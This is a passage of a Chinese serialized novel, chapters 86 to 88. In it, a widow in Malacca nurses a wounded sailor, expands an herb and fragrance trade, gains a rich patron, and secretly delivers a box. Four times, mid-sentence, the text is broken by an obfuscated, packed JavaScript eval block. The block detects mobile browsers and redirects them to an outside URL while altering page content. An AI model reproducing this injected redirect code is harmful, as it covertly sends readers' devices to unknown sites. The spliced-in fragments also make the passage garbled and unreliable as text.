看着黑塔通红的眼眶和几乎要崩溃的神情，再看看旁边闻声出来、面露同情与期待的邻里，苏璃知道，自己不能拒绝。这不仅关乎一条人命，也关乎她与“福海号”众人那份共患难的情谊，更关乎她在这片华人聚居区立足的“人”字。 “板儿，看好妹妹，锁好门，谁来也别开。”苏璃快速吩咐，转身进屋，将她所能想到的、或许有用的草药——三七粉（她炮制的少量）、止血收敛的白及、化瘀的桃仁、以及镇痛安神的合欢皮等，飞快地包成一个小包袱，又拿上干净的布条和一小罐烧酒。 “走！”她对黑塔一点头。 两人一前一后，几乎是跑着穿过了大半个华人聚居区，来到了靠近码头的一处更为杂乱破败的棚户区。“福海号 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196941|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”受伤的水手们，暂时被安置在这里一间租来的、四面漏风的破木屋里。 屋里挤满了人，充斥着浓重的血腥味和压抑的哭泣声。郑老大脸色铁青，蹲在屋角，拳头攥得死紧。老海狗也在，佝偻着背，沉默地抽着烟。地上铺着几块破门板，那个叫大壮的水手就躺在上面，脸色灰败如纸，胸口衣物浸满暗红的血迹，气息微弱得几乎看不见胸膛起伏。旁边一个水手正用布巾徒劳地擦拭着他嘴角不断渗出的血沫。 苏璃顾不上许多，挤开人群，蹲到大壮身边。她先探了探鼻息，极其微弱。又轻轻掀开他被血浸透的衣襟，只见左胸肋下有一大片可怕的青紫肿胀，皮肤下似乎能摸到不正常的骨茬，显然肋骨骨折，很可能刺伤了内脏。 情况比她预想的还要糟。她不是外科医生，不懂如何正骨，更无法处理内出血。她能做的，极其有限。 “烧热水，要多，要滚开的！”苏璃沉声吩咐，声音不大，却带着一种奇异的镇定，让慌乱的人群稍微安静了些。立刻有人跑了出去。 她打开包袱，取出三七粉，用温水调成糊状，对旁边一个还算镇定的水手说：“扶着他，慢慢喂下去，能喂多少是多少。”三七化瘀止血，是她此刻能想到的最对路的药，虽然未必能止住内出血，但或许能争取一点时间。 然后，她用烧酒浸湿布巾，小心地清洁大壮胸口的血迹和污物，避开骨折明显处。又用白及粉混合一点她自制的、有消炎作用的草药粉，调成糊，厚厚地敷在青紫肿胀的皮肤周围。最后，她用干净的布条，尽量轻柔地、绕着胸廓做了简单的固定，避免断骨进一步移动造成更大损伤。 做完这一切，她已经满头大汗。大壮的气息依旧微弱，但喂下去的三七粉似乎没有立刻被吐出来，这或许是个好兆头？ “柳娘子，怎么样？”郑老大哑着嗓子问，眼中布满血丝。 苏璃摇摇头，实话实说：“伤得太重，内腑受损，民妇只能尽力。现在只能看他的造化了。若能熬过今夜，不再大出血，或许……还有一线生机。要安静，不能移动，时时注意他的气息和体温。我留些药，按时外敷内服。” 她将剩下的三七粉、外敷药和几包安神镇痛的草药交给黑塔，仔细交代了用法。她知道，自己已经做了能做的一切。剩下的，真的只能听天由命，或许，还要看这个年轻水手自身顽强的生命力。 离开那间充满绝望与希冀的破木屋，夕阳已经西沉。海风带着凉意，吹散了鼻端的血腥。苏璃走在回程的路上，心情沉重。生命如此脆弱，在这远离故土、法度松弛的异乡，尤其如此。 然而，当她回到陋巷，看到自家檐下那盏昏黄的、等着她归家的灯火，看到板儿和巧姐儿扑过来的身影，心中那股沉郁又被温暖的现实冲淡了些。她救不了所有人，但至少要尽全力，守护好自己身边的人，守护好这得来不易的、充满希望的新生活。 夜色渐浓，满剌加城华灯初上，喧嚣未息。而苏璃知道，明天，她的小摊还要开张，她的草药还要炮制，她的路，还要继续走下去。只是，经此一事，她更加明白，在这片充满机遇也布满荆棘的土地上，除了勤劳和头脑，或许还需要一些别的什么，比如，更可靠的人脉，比如，对这座城池明暗规则更深的了解，比如……一点点，能够保护自己和所关心之人的力量。 86. 声名与暗礁 大壮熬过了凶险的一夜。当清晨微光透进那间破木屋的缝隙时，这个年轻水手虽然依旧昏迷，脸色惨白，但胸口的起伏明显了一些，也不再呕血。苏璃留下的外敷草药似乎对消肿镇痛有些效果，他紧蹙的眉头也略微舒展。 消息传开，在“福海号”众水手和附近的华人棚户区，引起了不小的震动。连街口那个宣称“没救”的番医，也忍不住在午后踱步过来，探头探脑地看了几眼，咂咂嘴，低声嘀咕了句“命硬”，讪讪地走了。 郑老大亲自提着一小袋上好的暹罗米和两条咸鱼，来到了苏璃那间低矮的小屋前。这个一向凶狠霸道的船主，此刻脸上少了些戾气，多了几分罕见的郑重。他没有多说什么漂亮话，只是将东西放在檐下的摊架上，对着正在整理草药的苏璃，抱了抱拳：“柳娘子，大恩不言谢。以后在这满剌加，有用得着我郑老六的地方，吱一声。” 这话的分量不轻。郑老大在码头底层和华人圈里，毕竟有些名头和关系。苏璃连忙还礼：“郑老大言重了，民妇只是尽了本分，是大壮兄弟自己命不该绝。” “是你的本事，就是你的。”郑老大摆摆手，语气不容置疑，“这次的事，我记下了。还有，那批货的麻烦，暂时了了，折了些钱财，但人没事就好。‘福海号’修好还需些时日，兄弟们暂时在码头找活。黑塔和老海狗，你有事可以找他们。”说完，他也不多留，转身大步走了。 这份实实在在的感谢和承诺，比金银更让苏璃心安。这意味着，在这异国他乡，她不再仅仅是孤零零的母子三人，至少在底层华人这个圈子里，她有了一些可以守望相助的“自己人”。黑塔和老海狗后来也来道过谢，黑塔更是拍着胸脯保证，以后谁敢欺负她们娘仨，他第一个不答应。 经此一事，“柳娘子善医术、重情义、有本事”的名声，如同长了翅膀，在华人聚居区迅速传开。不再仅仅是陋巷的邻里，连隔着几条街、甚至有些在码头或商铺做事的、家境稍好些的人家，也开始慕名而来。有的确实是有些陈年旧疾或疑难杂症，看了别处不见好，抱着试试看的心态找来；有的则是家中老人孩子体弱，想求些调理的方子或安神的香料。 苏璃依旧谨慎，只接自己有把握的病症，对于拿不准的，会直言相告，建议他们另寻高明。她的诊金依旧低廉，时常还用草药或香料抵价，让那些并不宽裕的人家也能看得起“病”。她的摊子上，货品也越发丰富齐整，除了香料、草药、家常成药，还多了些她自己琢磨的、适合本地气候的香囊、药枕、甚至简单的润肤膏。 板儿俨然成了小摊的“二掌柜”，算账、看货、招呼熟客，有模有样。巧姐儿也不再怕生，会奶声奶气地告诉客人哪种香草包驱蚊最灵。林阿婆得了空闲，也常来帮忙照看，或是传授些本地的饮食调理方子。这小屋檐下，渐渐有了几分“店肆”的气象，虽然简陋，却充满了踏实过日子的暖意。 手里活钱多了，苏璃做的第一件事，是请人将小屋破损漏雨的地方仔细修补了，又开了一扇稍大些的窗，屋里亮堂了不少。她用结实的木料重新打了床和桌椅，虽然粗糙，却稳固耐用。还给板儿和巧姐儿各做了一身新衣裳，用的是“云记”送的那花布剩下的料子，掺杂着新买的棉布，颜色鲜亮又耐磨。 生活，仿佛终于驶入了相对平顺的航道。每日早起忙碌，采药、炮制、看诊、买卖，黄昏时分收摊，与孩子们一起生火做饭，听板儿叽叽喳喳讲着白天的见闻，看巧姐儿笨拙地学写自己的名字。夜晚，哄睡了孩子，她会在油灯下，细细盘点一日所得，筹划着明天的活计，或是就着昏暗的光线，翻看那本王熙凤的账册，试图从那些残缺的密语和代号中，梳理出更多关于南洋贸易、关于“锦记”的可能线索。 她不再像初来时那般，时刻被往事的阴影和迫在眉睫的生存危机压得喘不过气。平和的心态，让她能更从容地观察、思考、学习。她与陈老板的交往更深了，从他那里，她不仅了解香料行情，也开始打听一些更“大”的生意门道，比如如何与来自不同国度的商人打交道，本地有哪些需要打点的关节，甚至……一些灰色地带的规矩。 她知道自己根基尚浅，那些动辄涉及成百上千两银子、牵扯各方势力的大宗贸易，离她还很遥远。但她像海绵一样吸收着这些信息，在心中默默勾勒着这座城市的商业地图和权力脉络。她隐隐觉得，那本账册和玄鸟标记的秘密，或许就隐藏在这张错综复杂的网中。 然而，平静的水面下，暗礁从未消失。 这一日，苏璃需要补充一批用于制作安神枕芯的干茉莉花和柠檬草，这两种花草在城东南那个较偏的市集品质最好，价格也合适。她像往常一样，将巧姐儿托给林阿婆，带着板儿前往。 市集依旧冷清，但苏璃已是熟客，很快买齐了所需，价格也公道。正当她付了钱，准备离开时，旁边那个卖旧货杂物的摊主，一个干瘦沉默、眼神总有些闪烁的马来老头忽然用生硬的官话，低低地叫住了她： “夫人，请留步。” 苏璃脚步一顿，回头看去。这老头她见过几次，但从未打过交道。 老头左右看了看，压低声音，用更含糊的语调说：“上次……夫人来买藤条，是不是……看到了一个老头，从那边……”他枯瘦的手指，悄悄指了指市集最角落、那家不起眼的当铺方向。 苏璃心中一震，脸上却不动声色，微微蹙眉，装作回忆的样子：“老人家说什么？我记性不好，不太记得了。” 老头盯着她看了两眼，忽然咧开嘴，露出被槟榔染黑的牙齿，笑了笑，那笑容有些古怪：“不记得好，不记得好。那地方……晦气。看到什么，也当没看到。夫人是做正经生意的，和气生财，莫要沾惹是非。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204340|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”他说完，便低下头，摆弄起摊子上一个生锈的铜壶，不再看她。 这番话，看似提醒，实则警告，更是确认，他看见了那天她注意到老余头！这个看似不起眼的旧货摊主，恐怕不简单，很可能与那家当铺，甚至与老余头背后的势力，有着某种关联。 苏璃后背微微渗出冷汗。她稳了稳心神，对那老头点了点头，语气平淡：“多谢老人家提点。”然后，便拉着板儿，不疾不徐地离开了市集。 回去的路上，她心绪难平。老余头、神秘当铺、这个诡异的旧货摊主……一条若隐若现的线，似乎将一些不起眼的点串联起来。老余头究竟在做什么？那当铺是什么来头？这摊主是单纯的多嘴，还是受人指使来警告她？这一切，与她怀中账册的秘密，与那些寻找她的势力，又有无关联？ 无数疑问在脑海中翻腾。但这一次，苏璃没有感到太多恐惧，反而有种“果然如此”的冷静。她早就知道，满剌加绝非世外桃源。既然暗流存在，躲是躲不掉的，唯有更加小心，更快地让自己强大起来，才能在有朝一日暗流涌至面前时，有应对甚至斡旋的余地。 她没有将市集的遭遇告诉任何人，包括板儿。只是从此之后，她去那个市集更加谨慎，尽量避开那旧货摊和当铺的方向。同时，她也开始更加留意身边的一切异常，留意那些看似寻常的邻居、顾客、甚至路人中，是否也有不寻常的视线。 日子依旧在忙碌中度过。大壮的伤势在缓慢好转，已经能喝些流食，偶尔说几句话。“福海号”的修缮似乎也有了进展。苏璃的生意平稳，甚至还通过陈老板的介绍，接下了一单为一家新开的、专做水手生意的中档客栈，定期供应驱蚊香草包和安神药材的小生意。虽然量不大，但胜在稳定长期，是一笔可观的固定进项。 她用小赚的一笔钱，买下了一小片位于城郊、土质尚可的荒地。地很偏，价格极低，但靠近一条小溪，取水方便。她雇了巷子里两个老实肯干的穷苦青年，将地平整出来，搭了个简易的草棚。她打算在那里尝试种植一些常用的、本地易活的药用植物和香草。一来可以降低草药成本，二来也是一份不大不小的产业根基。 当她站在那片新开垦的、散发着泥土气息的土地边，看着板儿和雇工一起费力地搬运石块垒砌田埂，看着巧姐儿在溪边欢快地撩水玩，一种前所未有的、脚踏实地的成就感，充盈心间。 这不再是寄人篱下的暂居，也不再是朝不保夕的挣扎。这是她苏璃，带着孩子们，在这片遥远的土地上，亲手开辟的、属于她们自己的小小疆土。前路或许还有风浪，或许还有来自过往的阴影纠缠，但至少此刻，她已不再是随波逐流的浮萍，而是深深扎根、努力向阳生长的树木。 夕阳将她的影子拉得很长，映在新翻的泥土上。远处，满剌加城的轮廓在暮色中逐渐模糊，灯火渐次亮起。 87. 意外之援 城郊的药草园，在板儿和两个雇工，阿吉和阿旺，都是闽南流民的后代，老实肯干的悉心照料下，渐渐有了模样。沿着小溪开出的几畦地，种上了苏璃反复筛选、确认容易成活且常用的香茅、薄荷、罗勒、以及几种本地特有的消炎止血草药。嫩绿的芽苗顶着南国炽热的阳光，倔强地舒展开叶片，带来勃勃生机。草棚也搭得结实，能遮阳避雨，存放些简单的农具和晾晒中的草药。 苏璃将大部分闲暇时间都投入了这片小小的园地。亲手翻土、浇水、除虫，看着作物一点点成长，这种踏实感是任何买卖交易都无法替代的。她开始尝试用园中第一批采收的嫩香茅和薄荷，搭配其他药材，制作一种气味清冽、提神醒脑的“清凉膏”，装在洗净的贝壳或小竹筒里，卖给码头苦力和在闷热作坊做工的人，很受欢迎。她又改进了香皂的配方，加入园中自产的、有淡淡清香的香草汁液和少量椰油，做出的皂块去污力不错，还带着自然草木气息，在邻里妇女间也打开了销路。 生活仿佛沿着她规划好的轨迹，平稳而充实地前行。虽然那家客栈的香料供应单子，最终没能抵过葡萄牙商行低价竞争的压力，客栈老板满脸歉意地结了最后一笔货款，表示日后若有机会再合作。苏璃虽有些遗憾，但也理解生意场的现实，并未过多纠结，只将更多心思放在巩固现有客源和开发新品上。 然而，林阿婆带来的那个消息，却让她心头蒙上了一层阴霾。 “柳娘子，我……我前个儿去码头给我家那口子送饭，”林阿婆神秘兮兮地凑近，压低了声音，眼里带着后怕，“路过税关旁边那个红毛鬼（葡萄牙人）办事的小楼，那门没关严，我眼一瞥……可了不得！里面墙上，好像贴着一张画像！画的是个穿咱们衣裳的年轻妇人，旁边还站着俩孩子，一男一女，模样……模样我看着，有几分眼熟！”她说着，小心地打量了一下苏璃。 苏璃的心猛地一沉，面上却强作镇定，一边继续分拣着草药，一边问：“阿婆看清了？会不会是看错了？或许是通缉什么海盗家眷？” “不会错！”林阿婆肯定地摇头，“那画工细着呢，妇人梳的发式，就是咱们北边来的样式！两个孩子也画得清楚……我心里直打鼓，没敢多看，赶紧走了。柳娘子，你……你也是北边来的，又带着俩孩子，可得千万小心啊！那些红毛鬼，跟咱们可不是一条心，指不定在帮谁找人呢！” 是那些北边的探子！他们竟然将手伸到了葡萄牙人的税关！这意味着寻找她的网络，已经不止于华人圈子，甚至可能借助了殖民当局的力量！这比单纯的江湖追捕或私家寻访，性质要严重得多。 “多谢阿婆提醒，我会小心的。”苏璃握住林阿婆粗糙的手，心中感激。这位看似寻常的老妇人，是真心为她担忧。 林阿婆的警告，让苏璃再次绷紧了神经。她减少了去码头的次数，若非必要，绝不靠近税关和葡萄牙人聚集的区域。她叮嘱板儿和巧姐儿，在外人面前尽量说已经学会的几句简单的闽南话或马来话，避免露出北方口音。她自己与客人交谈时，也刻意模仿着林阿婆她们的腔调。 但悬赏画像的存在，像一把达摩克利斯之剑，让她无法完全安心。她需要更可靠的消息来源，需要了解葡萄牙人那边的动向，甚至……需要一点点，或许能提供庇护的力量。这力量，显然不是郑老大或黑塔他们能提供的。 就在她为此暗自焦虑之际，一个意想不到的“贵人”，以一种极其偶然的方式，出现在她的生活中。 这一日，苏璃带着新制成的一批清凉膏和香草皂，去城中一家专做华人生意、规模中等的杂货铺“广源号”试水。这家铺子的老板姓吴，潮州人，生意做得不小，在华人商界有些名望。苏璃通过陈老板牵线，好不容易才得了个机会，带着样品去见掌柜。 接待她的是“广源号”的二掌柜，一个精明的中年账房。他仔细查看了苏璃带来的样品，嗅了嗅气味，又问了价钱，沉吟片刻，道：“东西倒是实在，模样也清爽。不过，柳娘子，你这量太小，牌子也新，我们铺子进货，一向是认老字号、大宗货的。这样吧，这点样品我先留下，给我们东家和内眷看看，若她们觉着好，或许能进些放在内院卖，或是东家自家用。成不成，过两日你再来听信儿。” 这已是客气而留有余地的答复。苏璃道了谢，留下样品和自己在陋巷的地址，便告辞出来。她本没抱太大希望，只当是又一次尝试。 谁知，两日后，一个穿着体面青布长衫、管家模样的中年人，竟然寻到了她陋巷的小屋前。那人态度客气，自称姓李，是“广源号”东家吴老爷府上的管事。 “柳娘子，前日你送到铺子里的香膏和香皂，我们老夫人和几位小姐用了，都说好，气味雅致，用着也舒服。特别是那清凉膏，老夫人说夏日用来涂抹太阳穴，头脑都清醒不少。”李管事笑着说明来意，“我们老爷说了，柳娘子手艺巧，东西做得用心。想请柳娘子得空过府一趟，老夫人想当面问问，这香膏里都用了些什么花草，可否依着老夫人的喜好，略微调整一下香气？价钱上好商量。” 这简直是意外之喜！“广源号”的东家吴老爷，在满剌加华人中是有头有脸的人物，若能搭上这条线，不仅意味着一条稳定的、利润可观的销路，更可能是一种无形的庇护。苏璃连忙应下，约定次日午后过府。 吴府位于华人聚居区相对清静的地段，是一处三进的中式院落，虽不及中原高门大户的恢弘，但在满剌加已算十分体面。苏璃换了身最整洁的衣裳，带着重新精心准备的几样样品，由李管事引着，从侧门进入，穿过精巧的庭院，来到后院花厅。 吴老夫人是一位年约六旬、头发花白、面容慈祥的老妇人，穿着素雅的绸衫，手腕上戴着一串油润的檀香木佛珠。她身边还坐着两位年纪稍轻的妇人，应是她的儿媳或女儿，也都衣着得体，态度温和。 见苏璃进来，吴老夫人微笑着让她坐下，又让丫鬟上茶。寒暄几句，问了些家常，便切入正题，说起那清凉膏和香皂。老夫人似乎对香道颇有心得，问的问题很是细致，不仅关心功效，更在意香气是否和谐持久，用料是否天然。 苏璃一一耐心解答，将她如何选用香茅、薄荷、搭配少量提神的冰片和安神的合欢花，如何控制火候萃取精油，如何保证皂化完全等等，尽量说得通俗明白。她言语清晰，态度不卑不亢，说到自家种植的药草时，眼中流露出的珍爱和熟悉，也做不得假。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210038|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 吴老夫人听得频频点头，眼中露出赞赏之色：“难得，难得。柳娘子年纪轻轻，不仅懂药理，心思也巧，更难得是这份踏实肯干的心性。在这满剌加，咱们华人女子谋生不易，你能凭手艺立身，很是可贵。” 旁边一位年长的吴夫人也笑道：“母亲说的是。柳娘子做的这香皂，我用着极好，比番铺里那些闻着冲鼻子的强多了。只是香气略单一了些，若是能有些花香，比如茉莉、栀子，或是更清甜的果香，想必更好。” 苏璃心中一动，忙道：“夫人说得是。民妇园中也试着种了些茉莉，只是尚未到盛花期。若老夫人和夫人不嫌弃，待花开时，民妇可试着调配新的方子，先制些样品送来府上品评。” 吴老夫人含笑点头：“如此甚好。那便有劳柳娘子了。李管事，”她转向侍立一旁的管家，“柳娘子日后送来的香膏香皂，只要品质如初，便都收下，按市价加一成结算。若是老夫人和小姐们有特别定制的，价钱另议。” “是，老夫人。”李管事躬身应下。 这便是一锤定音了。不仅有了长期稳定的订单，价格还从优。苏璃强压心中喜悦，起身郑重道谢。 吴老夫人摆摆手，示意她坐下，语气更显温和：“柳娘子独自带着两个孩子在这异乡，想必诸多不易。我瞧你也是个明理知进退的。日后若在生意上，或是……其他事上，遇到难处，可来府上寻李管事说道说道。咱们华人在这海外，理当互相帮衬着些。” 最后这句话，语气寻常，却让苏璃心头猛地一热。她听出了其中的深意。这位看似深居简出的老夫人，或许并非对她这个突然冒出来的小妇人一无所知。“其他事上”的难处……难道，吴家对码头税关那些画像，也有所耳闻？ 她不敢确定，但这番话无疑是一道护身符，一份沉甸甸的善意。她再次深深一礼：“老夫人仁心，民妇感激不尽，定当谨记。” 离开吴府，走在夕阳余晖中，苏璃的心久久不能平静。与吴家的合作，不仅解了她生意上的燃眉之急，更为她和孩子们，在这危机暗伏的满剌加，找到了一处或许可以倚靠的港湾。吴老夫人的地位和声望，足以让许多宵小之辈有所顾忌。 她不知道这份“贵人”的青睐从何而起，或许真的是因为她的东西入了老夫人的眼，或许其中也有陈老板或其他人的暗中引荐，又或许……吴家本身，就与那玄鸟标记背后的势力，有着某种她尚不知晓的关联？ 无论如何，这都是一次转机。她必须牢牢抓住，用更好的产品，更诚信的合作，来回报这份难得的机遇与庇护。 回到陋巷，板儿和巧姐儿早已翘首以盼。听她说起吴府的经过，板儿高兴得直拍手，巧姐儿也眨着亮晶晶的眼睛说：“阿娘好厉害！” 苏璃搂着两个孩子，望着檐下那盏温暖的灯火，心中充满了前所未有的力量与希望。前路依然漫长，暗礁或许仍在，但她已不再是孤身一人漂流。她有需要守护的人，有可以耕耘的土地，有刚刚开启的事业，现在，又多了一份来自他人的认可与扶持。 这满剌加的夜晚，灯火璀璨，海风温柔。属于苏璃的航程，在穿越惊涛骇浪之后，终于驶入了一片相对平缓、且有星光指引的水域。 88. 雨夜来客与吴府深意 与“广源号”吴府的合作，如同在苏璃平淡却紧绷的生活中，注入了一股清泉。 订单稳定，价格优渥，结算及时，更难得的是那份被认可与尊重的感觉。吴老夫人指定的几样定制香品——为老夫人调制的、带有安神檀香气息的宁神香膏，为两位夫人喜爱的、融合了茉莉与栀子清甜的花香皂，以及为几位小小姐准备的、气味柔和可爱的羊奶润肤膏——苏璃都倾注了十二分的心思。她选取园中最新鲜洁净的原料，反复调试配比，确保香气雅致持久，质地细腻温润。 第一批成品送到吴府，不过三日，李管事便亲自登门，脸上带着比往日更甚的笑意，不仅结清了货款，还带来了新的需求——府中几位管事娘子见了也喜欢，想订一批稍次一等的，分给下人用，数量不少。此外，老夫人还让传话，说她娘家一位侄孙即将成婚，想请苏璃帮着调配一批喜庆又不失雅致的“婚庆”香囊和熏香，作为添妆及宴客回礼之用。 这已不仅仅是买卖，更带上了几分“自己人”的信赖与托付。苏璃心中感念，自是尽心竭力，将婚庆香囊设计得精巧喜庆，用了寓意吉祥的肉桂、丁香、喜庆的红豆蔻，又以少量金盏菊花瓣点缀，香气馥郁温暖。熏香则选用了清甜的橙花与沉稳的雪松，寓意新婚和美，家宅安宁。 吴府这边顺风顺水，苏璃手头的活钱也宽裕起来。她添置了些必要的制药工具，如更精细的铜杵臼、一批大小均匀的瓷罐、以及一架小石磨。又将药草园向东边扩了半亩，新雇了一个手脚麻利的妇人帮忙料理园子和晾晒草药。 板儿如今俨然是小半个“少东家”，不仅能看摊算账，还能帮着管理园子的短工，安排简单的活计。巧姐儿也到了开蒙的年纪，苏璃咬咬牙，请巷子里一位读过几年书、因家道中落流寓此地的老秀才，每日教巧姐儿和邻近两家的孩子认些简单的字，读点《三字经》、《千字文》。 日子蒸蒸日上，仿佛一切都在朝着最好的方向发展。然而，码头税关那幅画像的阴影，以及近来在陋巷附近隐约出现的生疏面孔，始终是苏璃心头挥之不去的隐忧。她与吴府的亲近，或许能带来一些震慑，但若真被那些北边的探子或他们借助的葡萄牙势力盯上，后果难料。她只能更加小心，尽量减少独自外出，尤其避开码头区域。 就在这种表面平静、内里紧绷的平衡中，一个暴雨如注的深夜，变故陡生。 那夜雷声隆隆，雨水如同瓢泼般砸在棕榈叶和瓦片上，发出震耳欲聋的声响。苏璃刚哄睡了被雷声惊醒的巧姐儿，自己正倚在灯下，核对着给吴府下一批货的原料清单。板儿已在隔壁小屋睡熟。 忽然，一阵极其轻微、却不同于雨打门窗的叩击声，从后门传来。笃、笃、笃……三下，停顿，又两下。节奏有些熟悉。 苏璃的心猛地一跳。这叩门暗号……在“福海号”上，老余头似乎用过类似的？ 她瞬间警觉，吹熄了油灯，摸黑悄步走到后门边，侧耳倾听。门外只有哗哗的雨声。 “谁？”她压低声音问。 门外静默了片刻，一个嘶哑得几乎被雨声吞没的声音响起，带着浓重的疲惫和……一丝难以言喻的焦灼：“是我……老余头。” 真是他！苏璃的心提到了嗓子眼。她犹豫了一瞬，想到船上老余头那深不可测却又在关键时刻多次出手相助的过往，想到雨夜他冒险前来，终究还是轻轻抽开了门闩。 门刚开一条缝，一股湿冷的水汽便裹挟着一个沉重冰凉的东西，塞了进来。苏璃下意识接住，是一个用油布包裹得严严实实、约莫一尺见方、入手沉甸甸的小木匣。油布上还带着浓重的海腥和……一丝若有若无的血腥气？ 借着门外闪电刹那的惨白光芒，她看到老余头佝偻的身影站在瓢泼大雨中，浑身湿透，花白的头发紧贴在头皮上，脸色是一种不正常的青白，嘴唇紧抿，眼神却比在船上时更加锐利迫人，仿佛燃烧着最后的精力。他根本没打算进门，只是将那木匣塞给苏璃，用尽力气般，急促而清晰地说道： “速交吴府老夫人！亲手交给她！莫经他人！也……莫问来处！”每一个字都像是从肺腑里挤出来，带着不容置疑的决绝。“事毕之后……若有人问起此匣，或问起我……你只说，从未见过，一概不知！切记！” 说完，他根本不给苏璃任何询问或反应的时间，猛地转身，如同一道融入雨夜的鬼影，几个踉跄却异常迅速的起落，便消失在巷尾无边的黑暗与暴雨之中。只有地上蜿蜒的泥水痕迹，和手中这冰冷沉重、透着不祥气息的木匣，证明他曾经来过。 苏璃站在门内，浑身冰凉，心脏在胸腔里狂跳不止。雨水顺着门缝打湿了她的裙角，她却浑然不觉。老余头最后那几句话，那惨白而决绝的脸色，还有这透着血腥与海腥的木匣……这一切都指向一个巨大的、危险的秘密！这木匣里是什么？老余头为何要她转交吴老夫人？吴老夫人与老余头，与这秘密，又是什么关系？ 无数的疑问和惊惧瞬间淹没了她。但老余头最后的警告言犹在耳——“莫问来处”、“一概不知”。她知道，自己已被卷入一个远超她想象和能力的漩涡边缘。此刻，任何多余的好奇或犹豫，都可能带来灭顶之灾。 她深吸几口冰冷的、带着湿气的空气，强迫自己冷静下来。当务之急，是按照老余头的嘱托，将这个烫手的山芋，安全地送到吴府老夫人手中。至于之后是福是祸，只能走一步看一步。 她不敢点灯，摸索着用干布将木匣上的雨水仔细擦干，又找出一块干净的旧包袱皮，将它重新包好，藏在床下最隐秘的角落。这一夜，她几乎未曾合眼，耳中尽是隆隆雷声和哗哗雨响，脑海中反复回放着老余头那惊鸿一瞥的惨白面容和急促的叮嘱。 次日一早，雨势稍歇，天色依旧阴沉。苏璃将板儿和巧姐儿托付给林阿婆，只说要去吴府送新调的香样。她将那包袱仔细系好，挎在臂弯里，外面又罩上一个寻常的竹篮，装作去市集买菜的模样，出了门。 一路上，她格外警惕，留意着身后是否有人跟踪。所幸，并无异常。来到吴府侧门，她向门房道明来意，说是老夫人之前吩咐的香样有了新进展，特来请老夫人过目。因是常客，又带着老夫人的交代，门房很快通传，李管事亲自出来，将她引了进去。 依旧是在后院花厅，吴老夫人今日气色似乎不大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214979|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好，眉宇间带着一丝倦色，但见到苏璃，还是露出了温和的笑意：“柳娘子来了，可是香样制好了？” 苏璃上前行礼，从竹篮中取出几样确实新制的、用于掩饰的香膏样本，请老夫人过目。同时，她趁李管事和丫鬟不注意的间隙，上前一步，将臂弯里那个看似普通的包袱，极快极轻地放在了老夫人手边的矮几上，用只有两人能听到的声音，低低道：“老夫人，昨夜有位……故人，托民妇务必亲手将此物交予老夫人。他说……莫经他人，莫问来处。” 吴老夫人脸上的笑容瞬间凝住，眼神骤然变得锐利如电，飞快地扫了一眼那包袱，又深深看了苏璃一眼。那目光复杂难明，有惊疑，有审视，更有一种苏璃看不懂的了然与沉重。但只是一瞬，老夫人便恢复了常态，仿佛什么都没发生，只轻轻“嗯”了一声，顺手将一件搭在椅背上的披肩，盖在了那包袱之上。 “香样我瞧了，甚好。就按这个方子，先制五十盒宁神膏，三十盒花香皂。婚庆的香囊和熏香，也按你之前的样儿，各备一百份。”老夫人语气如常地吩咐着，仿佛刚才那惊心动魄的一幕从未发生。“李管事，带柳娘子去前厅，把定金和用料单子一并核了。” “是，老夫人。”李管事躬身应道。 苏璃心中巨石落地，知道老夫人已明白其中关窍，并且接下了这个烫手山芋。她不敢多留，行礼告退，跟着李管事去了前厅。核单、收定金、寒暄，一切如常。只是李管事在送她出门时，忽然压低声音，快速说了一句：“老夫人让我转告柳娘子，近日天阴湿滑，出门在外，多加小心。铺子里的货，按时送来便是，其余琐事，不必挂心。” 这是在告诉她，吴府会处理木匣之事，并且暗示她，近期要谨慎行事，吴府会继续与她合作，以作掩护和回护。 走出吴府，虽然天空依旧阴云密布，但苏璃却觉得心头那沉甸甸的压迫感，减轻了大半。木匣已送出，最大的风险已经转移。吴老夫人那沉稳的反应和李管事的暗示，也让她明白，吴家并非对此毫无准备，甚至可能一直在等待着什么。 